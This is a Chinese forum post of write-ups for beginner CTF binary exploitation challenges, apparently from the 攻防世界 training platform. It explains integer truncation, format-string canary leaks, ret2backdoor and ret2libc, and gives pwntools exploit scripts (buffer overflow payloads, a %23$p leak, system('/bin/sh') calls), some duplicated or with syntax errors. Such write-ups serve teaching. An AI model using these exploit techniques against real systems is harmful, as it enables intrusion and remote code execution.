首页
社区
课程
招聘
[原创]【攻防世界】入门题题解
发表于: 2022-4-27 23:41 7246

[原创]【攻防世界】入门题题解

2022-4-27 23:41
7246

题目连接

例如当一个8位无符号数接收一个函数返回32位无符号数时,只会保留后8位

可以看到首先选1,然后输入用户名和密码,这两个输入都不存在溢出,密码会被传入一个check函数,这个check函数中定义了一个8位无符号数v3来接受strlen函数返回的32位无符号数,然后v3大于3小于8通过判断将一个dest返回(这一点应该想到覆盖返回地址到后台函数或者获得flag的函数)

canary是一般是通过_readsqword(0x28)随机生成的,可以在ida或者gdb里面查看

除了pie其它都开了

看见先输“2”进入的地方有一个明显的字符串格式化漏洞,然后里面有个canary,很明显需要打印canary的地址。输“1”是很显而易见的栈溢出,但由于开了canary,明显需要用刚刚的canary地址进行绕过

linux如何解压gz和tar文件(附件中有俩文件,第一个是执行文件,第二个是它的库文件)

PIE保护:程序每次调用函数时用的地址都是随机分配的,但是相对位置是不变的

返回地址覆盖:函数地址:32位操作系统下函数地址占4个字节,用get覆盖时,需要在原来栈的大小上加0x4

手动回溯:如果需要利用两次get传递两个不同的payload,就需要手动回到main函数.具体做法是,将函数的返回地址设置位main函数地址:

leve3很寻常,libc啥都开了,也就是混沌状态(PIE)存在,那就需要寻址,通过固定的偏移算出所需调用的函数的地址

就俩函数,write和read,read明显溢出了,可以利用其返回到我们所需要的函数,那必然是system,但是没有system。怎么办呢?关键就在于有read函数和write函数(不妨选取write函数),可以用write函数打印level3文件中write函数在中的got表的地址(第一个payload)。然后在libc中找到system函数和字符串'/bin/sh'分别与libc中write函数的偏移量(每次找具体函数的地址都不一样,但偏移量是固定的)。第二个pyload的作用就是调用system函函数了。

32位操作系统的栈是先传入函数地址再传入参数地址

遇事不决直接gdb

发现前面一大坨看不懂的东西,看了网上题解才发现那是反汇编在处理寄存器,和题目没啥关系。核心就是输一个名字,然后一段字符串。checksec发现没有金丝雀,然后有个明显的gets函数和return函数,左边列表有一个system函数,这还不够明显?直接gets覆盖返回地址return到system函数,然后执行system("/bin/sh")。关键是这个“/bin/sh”怎么传?这是我们发现前面有一个.bss段的name,先传给它然后再覆盖的时候一并传入栈就行了。

c++srand rand为伪随机,当传入的seed相同的时候,产生的随机数相同,但是有个比较坑的点就是linux和windows系统下产生的随机数不相同,所以最好调用库,在程序里面自己跑随机数。

代码很明显,就是读入一个名字,然后输数字,连续10次和一个伪随机数相等即可

用checksec check了一下发现开了金丝雀,但这道题仍然是用溢出覆盖来做,因为要覆盖的地址远远高于金丝雀所在。发现gets函数(老受害者了),然后它和seed隔着ox20的距离,所以先覆盖0x20的内容,并将seed改为我们需要的随机数即可。

首先绕过前面的一切条件判断,然后通过字符串格式化漏洞修改参数使得通过shellcode区判定,最后shellcode获取flag

得知是一个勇者斗恶龙的游戏,然后可以向上走也可以向左走,向上走必死,而向左走按1进入龙巢,进入龙巢需要得到女巫的馈赠(格式化漏洞修改参数),使用女巫的馈赠(shellcode)从而获取flag

只开了NX

ida好像f5不了

FUN_400686是一个后门,那么我们就只需要输入的DAT为0x6e756161即可

只开了NX

看见函数列表有个后门函数,自然想到ret2backdoor

还是只开了NX

相较于上一道题,多了一个给system传参的环节,32位系统的rop一般为这种形式

from pwn import*
r.remote()
address='获取flag函数的地址'
payload=a'b'*(0x14+4)+address ##a'b'是强转为字符,ljust函数只支持字符
payload=payload.ljust(260,a'b') ##整型溢出截断
通过r.recvuntil和r.sendline函数接受和发送最终获取flag
from pwn import*
r.remote()
address='获取flag函数的地址'
payload=a'b'*(0x14+4)+address ##a'b'是强转为字符,ljust函数只支持字符
payload=payload.ljust(260,a'b') ##整型溢出截断
通过r.recvuntil和r.sendline函数接受和发送最终获取flag
from pwn import*
r=remote("111.200.241.244",63800)
payload=b'a'*(0x14+4)+p32(0x804868B)
payload=payload.ljust(260,b'a')
r.recvuntil("Your choice:")
r.sendline("1")
r.recvuntil("Please input your username:")
r.sendline("Nameless")
r.recvuntil("Please input your passwd:")
r.sendline(payload)
r.interactive()
from pwn import*
r=remote("111.200.241.244",63800)
payload=b'a'*(0x14+4)+p32(0x804868B)
payload=payload.ljust(260,b'a')
r.recvuntil("Your choice:")
r.sendline("1")
r.recvuntil("Please input your username:")
r.sendline("Nameless")
r.recvuntil("Please input your passwd:")
r.sendline(payload)
r.interactive()
一般格式为:
    %重定位地址+p/n:
    重定位地址的格式为从原先字符到需要定位的字符的偏差+$,如:
    printf(buf),buf的地址为0x90,需要定位到地址为0x08的v2,而且经过尝试,printf出真正的字符的位置偏移量为6,则重定位地址为23$.
    %p是打印地址
    %n是将重定位处的变量的值改为"%"之前的所有字符的个数
一般格式为:
    %重定位地址+p/n:
    重定位地址的格式为从原先字符到需要定位的字符的偏差+$,如:
    printf(buf),buf的地址为0x90,需要定位到地址为0x08的v2,而且经过尝试,printf出真正的字符的位置偏移量为6,则重定位地址为23$.
    %p是打印地址
    %n是将重定位处的变量的值改为"%"之前的所有字符的个数
from pwn import *
r=remote()
r.recvuntil("3. Exit the battle ")
r.sendline("2")
r.sendline("%23$p")
r.recvuntil("0x"
canary=int(r.recv(16),16)
adrs=0x4008DA
payload="a"*0x88+p64(canary)+'a'*8+p64(adrs)
r.recvuntil("3. Exit the battle ")
r.sendline("1")
r.sendline(payload)
r.interactive()
from pwn import *
r=remote()
r.recvuntil("3. Exit the battle ")
r.sendline("2")
r.sendline("%23$p")
r.recvuntil("0x"
canary=int(r.recv(16),16)
adrs=0x4008DA
payload="a"*0x88+p64(canary)+'a'*8+p64(adrs)
r.recvuntil("3. Exit the battle ")
r.sendline("1")
r.sendline(payload)
r.interactive()
gzip -d filename.gz
tar -xf fiilename
gzip -d filename.gz
tar -xf fiilename
 
elf=ELF('文件相对于py文件的地址') ## 即可用elf来调用文件
plt表:过程链接表,f函数的plt表存的是f函数到got表的地址记作:
     elf.plt['f']
     是栈中调用函数所使用的表(函数的起始地址)
got表:全局偏移表,f函数的真正地址,记作:
     elf.got['f']
     和elf.symbols['f']应该是等价的,数据类型为816进制数
elf=ELF('文件相对于py文件的地址') ## 即可用elf来调用文件
plt表:过程链接表,f函数的plt表存的是f函数到got表的地址记作:
     elf.plt['f']
     是栈中调用函数所使用的表(函数的起始地址)
got表:全局偏移表,f函数的真正地址,记作:
     elf.got['f']
     和elf.symbols['f']应该是等价的,数据类型为816进制数
elf.symbols['main']
elf.symbols['main']
readelf -s filename|grep functioname
readelf -s filename|grep functioname
strings -at x filename|grep 字符串(不加引号)
strings -at x filename|grep 字符串(不加引号)
from pwn import*
r.remote(地址+端口)
elf=ELF('./level3')
payload=0x8c*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)
r.recvuntil("Input:\n")
r.sendline(payload)
adrs=u32(r.recv() [:4]) ##切块,只要前四位,因为32位地址只有前四位
payload=0x8c*'a'+p32(adrs+system偏移量)+'0000'+p32(adrs+'字符串'偏移量)
#### ‘0000’是返回地址
r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()
from pwn import*
r.remote(地址+端口)
elf=ELF('./level3')
payload=0x8c*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)
r.recvuntil("Input:\n")
r.sendline(payload)
adrs=u32(r.recv() [:4]) ##切块,只要前四位,因为32位地址只有前四位
payload=0x8c*'a'+p32(adrs+system偏移量)+'0000'+p32(adrs+'字符串'偏移量)
#### ‘0000’是返回地址
r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()
 
from pwn import*
r=remote()
payload='a'*0x26+'bbbb'+p32(system_address)+p32(name_address)
r,recvuntil()
r.sendline("/bin/sh")
r.recvuntil()
r.sendline(payload)
r.interactive()
from pwn import*
r=remote()
payload='a'*0x26+'bbbb'+p32(system_address)+p32(name_address)

[注意]APP应用上架合规检测服务,协助应用顺利上架!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//